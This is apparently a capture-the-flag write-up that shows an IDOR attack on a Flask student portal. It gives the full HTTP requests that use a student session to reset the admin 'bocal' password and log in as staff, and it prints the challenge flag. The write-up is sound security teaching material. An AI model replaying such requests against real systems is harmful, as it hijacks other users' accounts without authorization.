Challenge Context#

The target was a Flask/Werkzeug intra-style portal with student login, staff login, profile editing, a dashboard, and admin-only pages.

Attack Chain#

1
Register student account
2
  -> PUT /api/profile/1 IDOR
3
  -> change admin bocal's password
4
  -> POST /api/staff as bocal
5
  -> GET /admin
6
  -> flag

Reconnaissance#

Key endpoints:

The important bug was that PUT /api/profile/<id> checked that the request had a valid session, but did not check that the session user owned <id>.

Vulnerability / Core Idea#

This is an IDOR / Broken Object Level Authorization issue:

1
authenticated user A can modify profile object B by changing the URL id

Admin users were enumerable. UID 1 was bocal, an admin account.

Exploitation#

1. Register a normal student account.
2. Use that student’s session cookie to update UID 1:

1
PUT /api/profile/1 HTTP/1.1
2
Host: 104.199.105.242:1337
3
Content-Type: application/json
4
Cookie: session=<student-session>
5

6
{"password":"REDACTED_TEST_PASSWORD"}

3. Authenticate through the staff endpoint, not the normal student endpoint:

1
POST /api/staff HTTP/1.1
2
Host: 104.199.105.242:1337
3
Content-Type: application/json
4

5
{"username":"bocal","password":"REDACTED_TEST_PASSWORD"}

4. Visit /admin with the staff session.

Flag#

1
leet{h4ck3d_b0c4l_v14_1d0r_m4ss_4ss1gn}

Lesson Learned#

AuthN is not AuthZ. It is not enough to verify that a user is logged in; every object-level update must verify ownership or role authorization.

Cover: Wallhaven og33jl.